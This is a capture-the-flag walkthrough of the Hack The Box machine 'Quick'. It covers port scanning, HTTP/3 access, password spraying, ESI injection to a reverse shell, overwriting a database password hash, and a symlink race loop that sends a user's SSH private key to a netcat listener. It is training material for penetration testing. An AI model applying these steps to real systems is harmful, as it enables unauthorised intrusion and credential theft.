Quick

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.186 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,9001 10.10.10.186 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

There seems to be a website on running on port 9001. Let's take a look at it.

Exploitation

The update message has a link to https://portal.quick.htb/, but port 443 is closed in the machine. But maybe we could access it in another way. Let's try HTTP3. First, we'll need to install quiche.

git clone --recursive https://github.com/cloudflare/quiche

cd quiche

cargo build --package quiche --release --features ffi,pkg-config-meta,qlog

mkdir quiche/deps/boringssl/src/lib

ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) quiche/deps/boringssl/src/lib/

Then, build curl.

cd ..

git clone https://github.com/curl/curl

cd curl

autoreconf -fi

./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-openssl=$PWD/../quiche/quiche/deps/boringssl/src --with-quiche=$PWD/../quiche/target/release

make

make install

Now, we should have a version of curl that supports HTTP3. Before trying to access https://portal.quick.htb/, we need to add the domain name to the /etc/hosts file.

nano /etc/hosts

Finally, check the HTTPS website with the curl we just built.

src/curl --http3 "https://portal.quick.htb/" -s -k

The References page, accessible from index.php?view=docs, shows a few interesting files.

src/curl --http3 "https://portal.quick.htb/index.php?view=docs" -s -k

Let's download and open the Connectivity.pdf file. We'll see in the How to Connect? section a password.

src/curl --http3 "https://portal.quick.htb/docs/Connectivity.pdf" -k -o Connectivity.pdf

open Connectivity.pdf

Now we need to find out where to authenticate, and with what user. Back to the main website, there was the button Get Started, which goes to the login.php login page.

On the other hand at the bottom of the main page, we saw a list of testimonials from some people.

And the clients link goes to a list of companies with their respective countries. As the login page asks for an email, we could create a wordlist such as the following by combining the name of the person who wrote the testimonial, together with the company domain name, using its country ccTLD.

nano users

As we now have a list of emails, let's password-spray the password that we found across all these emails, and see if it is valid for any of them.

wfuzz -c -w users -d "email=FUZZ&password=Quick4cc3$$" http://10.10.10.186:9001/login.php

The elisa@wink.co.uk email shows a different status code. Let's try to log in with that email and password.

We got in. It seems that the search bar of this ticketing system page is not working. But from Raise Ticket we could a ticket.

If we submit the ticket, a popup message will appear with a ticket identifier.

We need to find a way to search for tickets. Let's enumerate the website using gobuster.

gobuster dir -u http://10.10.10.186:9001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x php

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

There is one file called search.php, and it asks for a search item.

If we add the search GET parameter with the ticket identifier as its value, we'll see the ticket we created before.

http://10.10.10.186:9001/search.php?search=TKT-5072

Let's see if there is a way to inject code in this ticketing system. If we take a look at the HTTP response headers, we'll see one called X-Powered-By that has the value Esigate.

curl http://10.10.10.186:9001 -I

If we search on the internet for Esigate common exploits, we'll see an article called ESI Injection Part 2: Abusing specific implementations, which explains how to get Remote Command Execution on the server. First, we need to create a file called rce with a reverse shell command to our local system.

nano rce

Now, we need to create a few files called rce.xml and rce.xsl with the following code, that will download the rce file.

nano rce.xml

cp rce.xml rce.xsl

Then, set a simple HTTP server with PHP on port 80 where all these files are located.

php -S 0.0.0.0:80

And a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Next, create a new ticket with the following message.

Copy the ticket identifier.

Now, if we search for the ticket, it will download the rce file from our HTTP server.

http://10.10.10.186:9001/search.php?search=TKT-2324

Now we need to trigger the rce bash script and catch the reverse shell. We just need to change the command on both the rce.xml and rce.xsl file.

nano rce.xml

cp rce.xml rce.xsl

Finally, if we reload the search.php page, the server will run the rce script, and we'll catch a reverse shell as sam. Then, we'll be able to grab the user flag.

http://10.10.10.186:9001/search.php?search=TKT-2324

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command on our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

As seen below, there are other directories apart from the html directory in /var/www/.

ls -la /var/www

In fact if we check the apache /etc/apache2/sites-enabled/000-default.conf file, we'll see that there is virtual hosting being made with the domain printerv2.quick.htb.

cat /etc/apache2/sites-enabled/000-default.conf

Let's add the domain name to our /etc/hosts file.

nano /etc/hosts

There is another login page if we try to access the website.

As we have access to all the source code of the website, let's inspect it. The /var/www/printer/db.php file contains credentials for the MySQL database.

cat /var/www/printer/db.php

Let's connect to the database using those credentials and enumerate the database.

mysql -u db_adm -pdb_p4ss

There is one database called quick.

mysql> show databases;

The quick database has three tables.

mysql> use quick;

mysql> show tables;

The most interesting one is the users table, which has only two entries containing a password hash of the users Elisa and Server Admin.

mysql> select * from users;

In fact, we can see how to passwords are being hashes in the index.php file. It is using the MD5 hash type and the fa salt.

cat /var/www/printer/index.php

As we won't be able to break the hash, we can simply change the hash of the srvadm@quick.htb user to be the same as the Elisa.

mysql> update users set password="c6c35ae1f3cb19438e0199cfa72a9d9d" where email="srvadm@quick.htb";

This way, we can log in as srvadm@quick.htb using the Quick4cc3$$ password.

Once logged in, we'll see a print server website.

We can add a printer. As it is asking for an IP address, we can put our IP address, so we'll see what is going on with a netcat listener.

Set a netcat listener on port 5555.

nc -lvnp 5555

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Our new printer should be available from Printers.

By pressing the printer icon, we'll see a message saying that we should add a job.

From the PRINT JOBS section, we can create a new job, which will be received by the netcat listener when the Print button is pressed.

Let's inspect the source code and see if there is a way to escalate privileges. The /var/www/printer/job.php file has the following PHP code.

cat /var/www/printer/job.php

For each new job, the web server is creating a new file with a date in the format Y-m-d_H:i:s as the name in the directory /var/www/jobs/. Then, it is putting the Bill Details of the job inside the file. Finally, it is connecting to the configured printer, and sends the content of the file.

Before doing the connection, it is waiting for 0.5 seconds. This is a problem because in that period of time we could create a symbolic link between the file created in /var/www/jobs/ and the private SSH key of the srvadm user. So when the server connects to our machine, we'll receive the id_rsa private key.

Go to the /var/www/printer and run the following command.

cd /var/www/printer

while true; do date=$(date +%F_%H:%M:%S); if [ -r $date ]; then ln -s -f /home/srvadm/.ssh/id_rsa $date; fi ; done

Now, go ahead and create a new job. When we hit Print, we should see the private SSH key of the srvadm user in our netcat listener.

Copy and paste the key into the id_rsa file, give it the right permissions, and get a shell as srvadm.

nano id_rsa; chmod 600 id_rsa

ssh -i id_rsa srvadm@10.10.10.186

If we check his home directory, we'll see the .cache folder.

ls -la

Which has a few more directories in it.

ls -la .cache/

Inside the conf.d directory there is a file called printers.conf with some credentials in it.

cat .cache/conf.d/printers.conf

Let's url-decode the URI.

php --interactive

We have a password that seems to be valid for the root user. So finally, all we have to do is reap the harvest and take the root flag.

su root

Last updated

Was this helpful?